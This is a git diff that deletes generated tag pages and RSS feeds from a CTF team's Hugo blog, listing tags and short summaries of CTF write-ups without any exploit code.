+0200 - - http://localhost:1313/tags/122-solves/ - - - - - File Patching - http://localhost:1313/tags/file-patching/ - Mon, 02 Sep 2024 10:59:36 +0200 - - http://localhost:1313/tags/file-patching/ - - - - - Rust - http://localhost:1313/tags/rust/ - Mon, 02 Sep 2024 10:59:36 +0200 - - http://localhost:1313/tags/rust/ - - - - - 184 Solves - http://localhost:1313/tags/184-solves/ - Mon, 02 Sep 2024 10:59:31 +0200 - - http://localhost:1313/tags/184-solves/ - - - - - Cryptocat - http://localhost:1313/tags/cryptocat/ - Mon, 02 Sep 2024 10:59:31 +0200 - - http://localhost:1313/tags/cryptocat/ - - - - - SSRF - http://localhost:1313/tags/ssrf/ - Mon, 02 Sep 2024 10:59:31 +0200 - - http://localhost:1313/tags/ssrf/ - - - - - 173 Solves - http://localhost:1313/tags/173-solves/ - Mon, 02 Sep 2024 10:59:17 +0200 - - http://localhost:1313/tags/173-solves/ - - - - - Rex - http://localhost:1313/tags/rex/ - Mon, 02 Sep 2024 10:59:17 +0200 - - http://localhost:1313/tags/rex/ - - - - - Symlink - http://localhost:1313/tags/symlink/ - Mon, 02 Sep 2024 10:59:17 +0200 - - http://localhost:1313/tags/symlink/ - - - - - 175 Points - http://localhost:1313/tags/175-points/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/tags/175-points/ - - - - - 383 Points - http://localhost:1313/tags/383-points/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/tags/383-points/ - - - - - 52 Solves - http://localhost:1313/tags/52-solves/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/tags/52-solves/ - - - - - 86 Solves - http://localhost:1313/tags/86-solves/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/tags/86-solves/ - - - - - Careless_finch - http://localhost:1313/tags/careless_finch/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/tags/careless_finch/ - - - - - Jwt Secret Leak - http://localhost:1313/tags/jwt-secret-leak/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/tags/jwt-secret-leak/ - - - - - 417 Points - http://localhost:1313/tags/417-points/ - Mon, 02 Sep 2024 10:58:30 +0200 - - http://localhost:1313/tags/417-points/ - - - - - 44 Solves - http://localhost:1313/tags/44-solves/ - Mon, 02 Sep 2024 10:58:30 +0200 - - http://localhost:1313/tags/44-solves/ - - - - - Ndr - http://localhost:1313/tags/ndr/ - Mon, 02 Sep 2024 10:58:30 +0200 - - http://localhost:1313/tags/ndr/ - - - - - Sage - http://localhost:1313/tags/sage/ - Mon, 02 Sep 2024 10:58:30 +0200 - - http://localhost:1313/tags/sage/ - - - - - Beginner - http://localhost:1313/tags/beginner/ - Mon, 02 Sep 2024 10:52:16 +0200 - - http://localhost:1313/tags/beginner/ - - - - - Cyberspace - http://localhost:1313/tags/cyberspace/ - Mon, 02 Sep 2024 10:52:16 +0200 - - http://localhost:1313/tags/cyberspace/ - - - - - Jail - http://localhost:1313/tags/jail/ - Mon, 02 Sep 2024 10:52:16 +0200 - - http://localhost:1313/tags/jail/ - - - - - 100 Points - http://localhost:1313/tags/100-points/ - Mon, 26 Aug 2024 17:04:29 +0200 - - http://localhost:1313/tags/100-points/ - - - - - 176 Solves - http://localhost:1313/tags/176-solves/ - Mon, 26 Aug 2024 17:04:29 +0200 - - http://localhost:1313/tags/176-solves/ - - - - - Null_awe - http://localhost:1313/tags/null_awe/ - Mon, 26 Aug 2024 17:04:29 +0200 - - http://localhost:1313/tags/null_awe/ - - - - - PPC - http://localhost:1313/tags/ppc/ - Mon, 26 Aug 2024 17:04:29 +0200 - - http://localhost:1313/tags/ppc/ - - - - - 100 - http://localhost:1313/tags/100/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/tags/100/ - - - - - 127 Solves - http://localhost:1313/tags/127-solves/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/tags/127-solves/ - - - - - 187 - http://localhost:1313/tags/187/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/tags/187/ - - - - - Cryptography - http://localhost:1313/tags/cryptography/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/tags/cryptography/ - - - - - Deut-Erium - http://localhost:1313/tags/deut-erium/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/tags/deut-erium/ - - - - - Information Leaking - http://localhost:1313/tags/information-leaking/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/tags/information-leaking/ - - - - - Javascript/Java - http://localhost:1313/tags/javascript/java/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/tags/javascript/java/ - - - - - Sahuang - http://localhost:1313/tags/sahuang/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/tags/sahuang/ - - - - - Sekai - http://localhost:1313/tags/sekai/ - Mon, 26 Aug 2024 16:58:34 +0200 - - http://localhost:1313/tags/sekai/ - - - - - 133 Points - http://localhost:1313/tags/133-points/ - Sun, 18 Aug 2024 12:58:59 +0200 - - http://localhost:1313/tags/133-points/ - - - - - 165 Solves - http://localhost:1313/tags/165-solves/ - Sun, 18 Aug 2024 12:58:59 +0200 - - http://localhost:1313/tags/165-solves/ - - - - - Abdelhameed Ghazy - http://localhost:1313/tags/abdelhameed-ghazy/ - Sun, 18 Aug 2024 12:58:59 +0200 - - http://localhost:1313/tags/abdelhameed-ghazy/ - - - - - Php - http://localhost:1313/tags/php/ - Sun, 18 Aug 2024 12:58:59 +0200 - - http://localhost:1313/tags/php/ - - - - - Idek - http://localhost:1313/tags/idek/ - Sun, 18 Aug 2024 12:58:37 +0200 - - http://localhost:1313/tags/idek/ - - - - - 125 Points - http://localhost:1313/tags/125-points/ - Tue, 13 Aug 2024 13:01:07 +0200 - - http://localhost:1313/tags/125-points/ - - - - - 218 Solves - http://localhost:1313/tags/218-solves/ - Tue, 13 Aug 2024 13:01:07 +0200 - - http://localhost:1313/tags/218-solves/ - - - - - Stephanie - http://localhost:1313/tags/stephanie/ - Tue, 13 Aug 2024 13:01:07 +0200 - - http://localhost:1313/tags/stephanie/ - - - - - Litc - http://localhost:1313/tags/litc/ - Tue, 13 Aug 2024 12:20:57 +0200 - - http://localhost:1313/tags/litc/ - - - - - 119 Solves - http://localhost:1313/tags/119-solves/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/tags/119-solves/ - - - - - 498 Points - http://localhost:1313/tags/498-points/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/tags/498-points/ - - - - - 78 Solves - http://localhost:1313/tags/78-solves/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/tags/78-solves/ - - - - - NoobMaster + NoobHacker - http://localhost:1313/tags/noobmaster-+-noobhacker/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/tags/noobmaster-+-noobhacker/ - - - - - Template Injection - http://localhost:1313/tags/template-injection/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/tags/template-injection/ - - - - - N00bz - http://localhost:1313/tags/n00bz/ - Mon, 05 Aug 2024 18:26:54 +0200 - - http://localhost:1313/tags/n00bz/ - - - - - 499 Points - http://localhost:1313/tags/499-points/ - Mon, 01 Jan 0001 00:00:00 +0000 - - http://localhost:1313/tags/499-points/ - - - - - Spipm - http://localhost:1313/tags/spipm/ - Mon, 01 Jan 0001 00:00:00 +0000 - - http://localhost:1313/tags/spipm/ - - - - - SqlAlchemy Injection - http://localhost:1313/tags/sqlalchemy-injection/ - Mon, 01 Jan 0001 00:00:00 +0000 - - http://localhost:1313/tags/sqlalchemy-injection/ - - - - - \ No newline at end of file diff --git a/public/tags/information-leak-+-rce/index.html b/public/tags/information-leak-+-rce/index.html deleted file mode 100644 index cd10044e..00000000 --- a/public/tags/information-leak-+-rce/index.html +++ /dev/null @@ -1,269 +0,0 @@ - - - - - - - - Information Leak + RCE - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Information Leak + RCE

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/information-leak-+-rce/index.xml b/public/tags/information-leak-+-rce/index.xml deleted file mode 100644 index f2bd6024..00000000 --- a/public/tags/information-leak-+-rce/index.xml +++ /dev/null @@ -1,78 +0,0 @@ - - - - Information Leak + RCE on ByteTheCookies - http://localhost:1313/tags/information-leak-+-rce/ - Recent content in Information Leak + RCE on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 07 Oct 2024 22:50:14 +0200 - - MovieReviewApp - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - Mon, 07 Oct 2024 22:50:14 +0200 - - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - <h1 style='text-decoration: underline;text-decoration-color: #9e8c6c;font-size: 3em;'>MovieReviewApp</h1> -<p><strong>Description</strong>: &hellip;</p> - -<h2 id="introduction" class="header-anchor-wrapper">Introduction - <a href="#introduction" class="header-anchor-link"> - <svg width="16px" height="16px" viewBox="0 0 24 24"> -<svg - xmlns="http://www.w3.org/2000/svg" - width="24" height="24" viewBox="0 0 24 24" fill="none" - stroke="currentColor" stroke-width="2" stroke-linecap="round" - stroke-linejoin="round"> - <line x1="4" y1="9" x2="20" y2="9"></line><line x1="4" y1="15" x2="20" y2="15"></line><line x1="10" y1="3" x2="8" y2="21"></line><line x1="16" y1="3" x2="14" y2="21"></line> -</svg> - -</svg> - </a> -</h2> - -<p>&hellip;</p> - -<h2 id="source" class="header-anchor-wrapper">Source - <a href="#source" class="header-anchor-link"> - <svg width="16px" height="16px" viewBox="0 0 24 24"> -<svg - xmlns="http://www.w3.org/2000/svg" - width="24" height="24" viewBox="0 0 24 24" fill="none" - stroke="currentColor" stroke-width="2" stroke-linecap="round" - stroke-linejoin="round"> - <line x1="4" y1="9" x2="20" y2="9"></line><line x1="4" y1="15" x2="20" y2="15"></line><line x1="10" y1="3" x2="8" y2="21"></line><line x1="16" y1="3" x2="14" y2="21"></line> -</svg> - -</svg> - </a> -</h2> - -<p>&hellip;</p> -<pre><code class="language-python"># filename: file.py - - - -</code></pre> -<p>&hellip;</p> - -<h2 id="solution" class="header-anchor-wrapper">Solution - <a href="#solution" class="header-anchor-link"> - <svg width="16px" height="16px" viewBox="0 0 24 24"> -<svg - xmlns="http://www.w3.org/2000/svg" - width="24" height="24" viewBox="0 0 24 24" fill="none" - stroke="currentColor" stroke-width="2" stroke-linecap="round" - stroke-linejoin="round"> - <line x1="4" y1="9" x2="20" y2="9"></line><line x1="4" y1="15" x2="20" y2="15"></line><line x1="10" y1="3" x2="8" y2="21"></line><line x1="16" y1="3" x2="14" y2="21"></line> -</svg> - -</svg> - </a> -</h2> - -<p>&hellip;</p> - - - - \ No newline at end of file diff --git a/public/tags/information-leak-+-rce/page/1/index.html b/public/tags/information-leak-+-rce/page/1/index.html deleted file mode 100644 index 5304511c..00000000 --- a/public/tags/information-leak-+-rce/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/information-leak-+-rce/ - - - - - - diff --git a/public/tags/information-leak/index.html b/public/tags/information-leak/index.html deleted file mode 100644 index d89f0bf1..00000000 --- a/public/tags/information-leak/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Information Leak - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Information Leak

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/information-leak/index.xml b/public/tags/information-leak/index.xml deleted file mode 100644 index 5ff11fc9..00000000 --- a/public/tags/information-leak/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Information Leak on ByteTheCookies - http://localhost:1313/tags/information-leak/ - Recent content in Information Leak on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 07 Oct 2024 22:50:14 +0200 - - MovieReviewApp - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - Mon, 07 Oct 2024 22:50:14 +0200 - - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - MovieReviewApp Description: Last web challenge done in the ctf (unfortunately) also one of the fastest to do if you know the right tools -Introduction The challenge looks like a very simple site in pure html where we see reviews on movies -Source Is not present the source BUT&hellip; -Solution The first thing that stands out is that in the URL there are extensions, so we understand that probably the system behind it is not very complex, in fact, going to the root endpoint we notice - - - - \ No newline at end of file diff --git a/public/tags/information-leak/page/1/index.html b/public/tags/information-leak/page/1/index.html deleted file mode 100644 index b2218479..00000000 --- a/public/tags/information-leak/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/information-leak/ - - - - - - diff --git a/public/tags/information-leaking/index.html b/public/tags/information-leaking/index.html deleted file mode 100644 index aeaa2834..00000000 --- a/public/tags/information-leaking/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Information Leaking - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Information Leaking

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/information-leaking/index.xml b/public/tags/information-leaking/index.xml deleted file mode 100644 index d81f1104..00000000 --- a/public/tags/information-leaking/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Information Leaking on ByteTheCookies - http://localhost:1313/tags/information-leaking/ - Recent content in Information Leaking on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 17:04:19 +0200 - - Crack Me - http://localhost:1313/writeups/sekaictf2024/crackme/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/crackme/ - Crack Me Description: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag? -Introduction First rev ctf of Sekai 2024 with an apk attached, so we have a mobile challenge on our hands. The first thing to do (which I strongly advise against in a real environment) is to download and install the app to get a quick overview of what it does. - - - - \ No newline at end of file diff --git a/public/tags/information-leaking/page/1/index.html b/public/tags/information-leaking/page/1/index.html deleted file mode 100644 index 7bfbf771..00000000 --- a/public/tags/information-leaking/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/information-leaking/ - - - - - - diff --git a/public/tags/insecure-randomness/index.html b/public/tags/insecure-randomness/index.html deleted file mode 100644 index ecbe53d3..00000000 --- a/public/tags/insecure-randomness/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Insecure Randomness - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Insecure Randomness

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/insecure-randomness/index.xml b/public/tags/insecure-randomness/index.xml deleted file mode 100644 index a2624ff3..00000000 --- a/public/tags/insecure-randomness/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Insecure Randomness on ByteTheCookies - http://localhost:1313/tags/insecure-randomness/ - Recent content in Insecure Randomness on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:23 +0200 - - aeronaut - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Tue, 08 Jul 2025 20:33:23 +0200 - - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Aeronaut Description: Aeronaut is a gambling game in which you bet on a multiplier. The goal is to get 100.000.000$. Good luck! -Introduction The last round of the CyberCup2025 competition was very good, with a challenging CTF. The challenge is a gambling game in which you bet on a multiplier. The goal is to earn 100,000,000 dollars. The game is implemented in Python using WebSocket and uses insecure randomness to generate multipliers. - - - - \ No newline at end of file diff --git a/public/tags/insecure-randomness/page/1/index.html b/public/tags/insecure-randomness/page/1/index.html deleted file mode 100644 index 8b831e45..00000000 --- a/public/tags/insecure-randomness/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/insecure-randomness/ - - - - - - diff --git a/public/tags/italy/index.html b/public/tags/italy/index.html deleted file mode 100644 index 9d38a378..00000000 --- a/public/tags/italy/index.html +++ /dev/null @@ -1,300 +0,0 @@ - - - - - - - - - - - Italy - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Italy

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/italy/index.xml b/public/tags/italy/index.xml deleted file mode 100644 index 281e1081..00000000 --- a/public/tags/italy/index.xml +++ /dev/null @@ -1,55 +0,0 @@ - - - - Italy on ByteTheCookies - http://localhost:1313/tags/italy/ - Recent content in Italy on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Apr 2025 17:54:49 +0200 - - Ulisse CTF 2025 - http://localhost:1313/writeups/ulisse2025/ - Tue, 08 Apr 2025 17:54:49 +0200 - - http://localhost:1313/writeups/ulisse2025/ - Ulisse CTF 2025 Description Ulisse CTF is the first edition of the annual competition hosted by the Ulisse CTF Team at the University of Bologna. Open to participants of all skill levels, it aims to provide a learning experience for everyone! -Url Discord Performance Summary CTFs: 12/29 Total points: 1923.000 Position: 11/169 Rating points: 8.533 Writeups Web Telemetry StackBank 1 - - - - K!nd4SUS CTF 2025 - http://localhost:1313/writeups/k1ndasus2025/ - Mon, 24 Mar 2025 12:58:37 +0200 - - http://localhost:1313/writeups/k1ndasus2025/ - K!nd4SUS CTF 2025 Description K!nd4SUS CTF is a Jeopardy-style Capture-The-Flag competition created with love by the K!nd4SUS Team, from the University of Milan. The challenges topics include binary exploitation, web security, reverse engineering, web3, forensics, OSINT, cryptography, and creative miscellaneous challenges! -Url Performance Summary CTFs: 10/? Total points: 2462 Position: 16/207 Rating points: 6.059 Writeups Crypto Key in the haystack - - - - TRX CTF 2025 - http://localhost:1313/writeups/trx2025/ - Mon, 10 Mar 2025 18:57:11 +0100 - - http://localhost:1313/writeups/trx2025/ - TRX CTF 2025 Description TheRomanXpl0it is pleased to announce TRX CTF 2025! -TRX CTF will be a jeopardy style CTF and last a whole day (24-hours), from the 22nd of February 14:00 UTC, to the 23rd of February 2025 14:00 UTC. -The team has made a humongous effort developing interesting challenges in every classic CTF category such as Web, Pwn, Rev and Crypto! -We hope you&rsquo;ll have fun playing the competition! - - - - Srdnlen CTF 2025 - http://localhost:1313/writeups/srdnlen2025/ - Mon, 10 Mar 2025 18:56:14 +0100 - - http://localhost:1313/writeups/srdnlen2025/ - Srdnlen CTF 2025 Description Srdnlen CTF is a Jeopardy-style Capture-The-Flag competition hosted by the members of Srdnlen, an italian team based in Sardinia. -This CTF welcomes both beginners and advanced players. The challenges topics include reverse engineering, binary exploitation, web security, cryptography, forensics. -For the best 10 teams, in-person finals will be organized in Sardinia (date to be decided) -Url Discord Performance Summary CTFs: n/M Total points: 270.0 Position: 98/848 Rating points: 2. - - - - \ No newline at end of file diff --git a/public/tags/italy/page/1/index.html b/public/tags/italy/page/1/index.html deleted file mode 100644 index 277d59cf..00000000 --- a/public/tags/italy/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/italy/ - - - - - - diff --git a/public/tags/jail/index.html b/public/tags/jail/index.html deleted file mode 100644 index 390f4188..00000000 --- a/public/tags/jail/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Jail - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Jail

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/jail/index.xml b/public/tags/jail/index.xml deleted file mode 100644 index f42c8ddd..00000000 --- a/public/tags/jail/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Jail on ByteTheCookies - http://localhost:1313/tags/jail/ - Recent content in Jail on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:52:16 +0200 - - CyberSpace CTF 2024 - http://localhost:1313/writeups/cyberspace2024/ - Mon, 02 Sep 2024 10:52:16 +0200 - - http://localhost:1313/writeups/cyberspace2024/ - CyberSpace CTF 2024 Description Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf! -Url Discord Performance Summary CTFs: 21/63 Total points: 2032 Position: 83/830 Rating points: 3.355 Writeups Crypto trendy windy trigonity Web ZipZone FeatureUnlocked Trendz (part 1 and 2) Rev Snake - - - - \ No newline at end of file diff --git a/public/tags/jail/page/1/index.html b/public/tags/jail/page/1/index.html deleted file mode 100644 index e93d5fb0..00000000 --- a/public/tags/jail/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/jail/ - - - - - - diff --git a/public/tags/javascript/index.html b/public/tags/javascript/index.html deleted file mode 100644 index 46781acd..00000000 --- a/public/tags/javascript/index.html +++ /dev/null @@ -1,298 +0,0 @@ - - - - - - - - - - - JavaScript - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

JavaScript

- - - -
- - -
-

2025

- -
- -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/javascript/index.xml b/public/tags/javascript/index.xml deleted file mode 100644 index 5ef3bbb9..00000000 --- a/public/tags/javascript/index.xml +++ /dev/null @@ -1,48 +0,0 @@ - - - - JavaScript on ByteTheCookies - http://localhost:1313/tags/javascript/ - Recent content in JavaScript on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Apr 2025 18:05:15 +0200 - - StackBank 1 - http://localhost:1313/writeups/ulisse2025/stackbank1/ - Tue, 08 Apr 2025 18:05:15 +0200 - - http://localhost:1313/writeups/ulisse2025/stackbank1/ - ⚠️ WORKING IN PROGRESS -StackBank 1 Description: This bank🏦 will let you legally launder your dirty money, so you can live the high life in Dubai 🤑. -Give it a try — for now, it only lets you send and receive money for your oh-so-reputable Ponzi scheme💸. -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py Author: akiidjk - - - - Speed - http://localhost:1313/writeups/srdnlen2025/speed/ - Tue, 11 Mar 2025 17:20:39 +0100 - - http://localhost:1313/writeups/srdnlen2025/speed/ - Speed Description: Welcome to Radiator Springs&rsquo; finest store, where every car enthusiast&rsquo;s dream comes true! But remember, in the world of racing, precision matters—so tread carefully as you navigate this high-octane experience. Ka-chow! -Introduction For the second web challenge of srdnlen2025 we have a very interesting but not particularly complicated challenge. -The challenge is presented as a simple shop, so the goal is to buy the flag, which has a very high price. - - - - Crack Me - http://localhost:1313/writeups/sekaictf2024/crackme/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/crackme/ - Crack Me Description: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag? -Introduction First rev ctf of Sekai 2024 with an apk attached, so we have a mobile challenge on our hands. The first thing to do (which I strongly advise against in a real environment) is to download and install the app to get a quick overview of what it does. - - - - \ No newline at end of file diff --git a/public/tags/javascript/java/index.html b/public/tags/javascript/java/index.html deleted file mode 100644 index 015bf42c..00000000 --- a/public/tags/javascript/java/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Javascript/Java - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Javascript/Java

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/javascript/java/index.xml b/public/tags/javascript/java/index.xml deleted file mode 100644 index 792078da..00000000 --- a/public/tags/javascript/java/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Javascript/Java on ByteTheCookies - http://localhost:1313/tags/javascript/java/ - Recent content in Javascript/Java on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 17:04:19 +0200 - - Crack Me - http://localhost:1313/writeups/sekaictf2024/crackme/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/crackme/ - Crack Me Description: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag? -Introduction First rev ctf of Sekai 2024 with an apk attached, so we have a mobile challenge on our hands. The first thing to do (which I strongly advise against in a real environment) is to download and install the app to get a quick overview of what it does. - - - - \ No newline at end of file diff --git a/public/tags/javascript/java/page/1/index.html b/public/tags/javascript/java/page/1/index.html deleted file mode 100644 index ab8d3e0e..00000000 --- a/public/tags/javascript/java/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/javascript/java/ - - - - - - diff --git a/public/tags/javascript/page/1/index.html b/public/tags/javascript/page/1/index.html deleted file mode 100644 index 4f48e264..00000000 --- a/public/tags/javascript/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/javascript/ - - - - - - diff --git a/public/tags/just_riccio/index.html b/public/tags/just_riccio/index.html deleted file mode 100644 index c0180ef6..00000000 --- a/public/tags/just_riccio/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Just_Riccio - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Just_Riccio

- - - -
- - -
-

2025

- -
    - -
  • - ECRSA - - - 06/23 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/just_riccio/index.xml b/public/tags/just_riccio/index.xml deleted file mode 100644 index 05c94bdb..00000000 --- a/public/tags/just_riccio/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Just_Riccio on ByteTheCookies - http://localhost:1313/tags/just_riccio/ - Recent content in Just_Riccio on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Jun 2025 18:30:32 +0200 - - ECRSA - http://localhost:1313/writeups/cornctf2025/ecrsa/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ecrsa/ - ECRSA RSA or Elliptic Curves? Why not both? -Introduction ECRSA was a crypto CTF from cornCTF 2025. -#!/usr/bin/env python3 from secret_params import curve_p, a, b, order, secret_point_x, secret_point_y import os FLAG = os.getenv(&quot;FLAG&quot;, &quot;corn{__redacted_redacted_redacted__redacted_redacted_redacted__}&quot;).encode() assert FLAG.startswith(b&quot;corn{&quot;) and FLAG.endswith(b&quot;}&quot;) assert len(FLAG) == 64 def sign(m, x): if m == 0 or m == 1 or m == n-1: print(&quot;No weak messages allowed here&quot;) return None try: user_point = E.lift_x(x) except ValueError: print(f&quot;Invalid point: {x} does not describe any point on the curve&quot;) return None sig = pow(m, d, n) sig = sig * user_point + secret_point return sig. - - - - \ No newline at end of file diff --git a/public/tags/just_riccio/page/1/index.html b/public/tags/just_riccio/page/1/index.html deleted file mode 100644 index 9f1c3a26..00000000 --- a/public/tags/just_riccio/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/just_riccio/ - - - - - - diff --git a/public/tags/jwt-secret-leak/index.html b/public/tags/jwt-secret-leak/index.html deleted file mode 100644 index 21ea48e8..00000000 --- a/public/tags/jwt-secret-leak/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Jwt Secret Leak - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Jwt Secret Leak

- - - -
- - -
-

2024

- -
    - -
  • - Trendz - - - 09/02 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
